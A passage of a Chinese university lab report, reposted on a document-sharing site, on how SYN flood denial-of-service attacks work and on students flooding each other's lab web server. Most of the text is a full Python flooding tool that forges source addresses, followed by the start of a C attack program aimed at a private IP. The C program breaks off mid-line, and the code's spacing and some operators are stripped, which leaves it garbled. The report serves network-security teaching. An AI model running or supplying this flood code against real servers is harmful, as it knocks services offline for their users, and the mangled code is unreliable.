您好,欢迎访问三七文档
当前位置:首页 > 办公文档 > 总结/报告 > 2017科研实验报告
实验五分析SYNFLOOd攻击原理一、实验内容通过分小组实施SYNFLood攻击,掌握分布式拒绝服务攻击原理。二、实验目的和要求1.实验目的本实验的教学目的是熟悉SYNflood的攻击原理与过程,及IPv4所存在的固有缺陷。2.实验要求本实验的基本要求:学生在实验课前分小组准备,每组分角色确定实施攻击者和被攻击者,熟悉SYNflood的攻击原理与过程,观察攻击现象。三、实验设备(软、硬件)硬件:性能较强的PC机软件:WindowsNT操作系统四,实验设计方案;1两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台web服务器,攻击方攻击对方得web服务器,2,附syn-flood攻击得源码,注意攻击ip地址要做改动五,实验原理在SYNFlood攻击中,黑客机器向受害主机发送大量伪造源地址的TCPSYN报文,受害主机分配必要的资源,然后向源地址返回SYN+ACK包,并等待源端返回ACK包。由于源地址是伪造的,所以源端永远都不会返回ACK报文,受害主机继续发送SYN+ACK包,并将半连接放入端口的积压队列中,虽然一般的主机都有超时机制和默认的重传次数,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCPSYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。六,实验方法及步骤1,被攻击方配置web服务器2,攻击方设置要攻击服务器的ip地址,然后编译源程序。3,运行synflood,攻击web服务器4,被攻击方打开命令行提示窗口,运行netstat命令,观察响应,netstat命令显示了所有当前连接,可以注意到netstat所返回的记录5,试着打开对方web服务器的网页,观察结果;6,试着同时多台机器对同一web服务器发起攻击,然后用一台机器登陆web服务器,观察结果七,试验数据记录与处理此项可以不填八,试验结果及分析一台用户机攻击服务器(ubantu下python)开启三个终端然而,python代码并不能很好的攻击,因为python语言比c和java等离机器语言更远,大概运行速度是c的1/30倍,后来经试验发现运行任何Python所占用cpu在23左右。于是接下来采用c语言,python代码如下:#!/usr/bin/python#-*-coding:utf-8-*-importsocketimportstructimportrandomimportthreadingclassmyThread(threading.Thread):#创建一个进程的方法def__init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip=dstipself.dstport=dstportself.mode=modedefrun(self):attack(self.dstip,self.dstport,self.mode)defchecksum(data):#检验和计算s=0n=len(data)%2foriinrange(0,len(data)-n,2):s+=ord(data[i])+(ord(data[i+1])8)ifn:s+=ord(data[i+1])while(s16):s=(s&0xFFFF)+(s16)s=~s&0xffffreturnsdefIP(source,destination,udplen):#创建一个ip数据包头version=4ihl=5tos=0tl=20+udplenip_id=random.randint(1,65535)flags=0offset=0ttl=128protocol=6check=0source=socket.inet_aton(source)destination=socket.inet_aton(destination)ver_ihl=(version4)+ihlflags_offset=(flags13)+offsetip_header=struct.pack(!BBHHHBBH4s4s,ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header=struct.pack(!BBHHHBBH4s4s,ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)returnip_headerdefTCP(srcip,dstip,protocol,dp,fg):#创建一个tcp数据报头source=socket.inet_aton(srcip)destination=socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)iffg==2:ack_num=0else:ack_num=random.randint(1,4000000000)hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen12)+flagTCP_head=struct.pack(!4s4sHHHHIIHHHH,source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack(!HHIIHHHH,srcport,dstport,syn_num,ack_num,h_f,window,check,point)returnTCP_headdefmakepacket(dstip,dstport,fg):#选择syn&ack时的混合模式srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)returnippacketdefattack(dstip,dstport,mode):#进攻ifmode=='syn':fg=2while1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elifmode=='ack':fg=18while1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elifmode=='syn&ack':while1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print'DON\'Tbb!'dstip=raw_input('attackIP:')#提示用户输入dstport=int(input('attackPORT:'))#提示用户输入mode=raw_input('mode:(synorackorsyn&ack)')#提示用户输入threads=int(input(线程数threads:))#提示用户输入ip_first=[]#遍历源地址的前8位foriinrange(1,10):ip_first.append(i)foriinrange(11,172):ip_first.append(i)foriinrange(173,192):ip_first.append(i)foriinrange(193,224):ip_first.append(i)s=socket.socket(socket.AF_INET,socket.SOCK_RAW,6)#socket.AF_INET--机器网络之间的通信s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]foriinrange(threads):#为每个进程分配名字threads_name.append('theread'+str(i))foriinrange(threads):#创建每个进程threads_name[i]=myThread(dstip,dstport,mode)foriinrange(threads):#开始每个进程threads_name[i].start()用c语言实现:(ubantu下c)80端口未开时,进攻失败80端口打开时:瞬间内存占用在50左右。经检验,运行其他c语言程序时内存占用率大概在25%左右,得出dos攻击的内存占用率大概在25%。假设python也正常攻击,大概占用率不到1%,所以python脚本攻击基本上不能dos用netstat查看:c语言代码(改编自win系统下的client.cpp文件):#includesys/socket.h//linux下的套接字协议头文件#includenetinet/in.h//网络连接头文件#includenetdb.h#includearpa/inet.h#includestdlib.h#includestring.h//字符串头文件#includestdio.h#includeerrno.h//错误类型头文件#pragmacomment(lib,ws2_32.lib)#defineINVALID_SOCKET4294967295//定义linux下对应windows的无效值#defineSOCKET_ERROR-1//socketerror的错误值#defineMAKEWORD(a,b)((unsignedshort)(((unsignedchar)(((unsignedint)(a))&0xff))|((unsignedshort)((unsignedchar)(((unsignedint)(b))&0xff)))8))//宏定义makeword()intmain(intargc,char*argv[]){intsockVersion=MAKEWORD(2,2);chardata;ints=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//创建s套接字if(s==INVALID_SOCKET)//检查s是否无效{printf(invalidsocket!);return0;}structsockaddr_inserAddr;//linux下的sockaddr_in结构体serAddr.sin_family=AF_INET;//结构体里的family值,一般为定值serAddr.sin_port=htons(80);//端口号serAddr.sin_addr.s_addr=inet_addr(172.22.222.83);//连接(攻击)ip地址if(connect(s,(structsockaddr*)&serAddr,sizeof(serAddr))==SOCKET_ERROR)//connnect函数判断能否连接上目标{printf(connecter
本文标题:2017科研实验报告
链接地址:https://www.777doc.com/doc-7182678 .html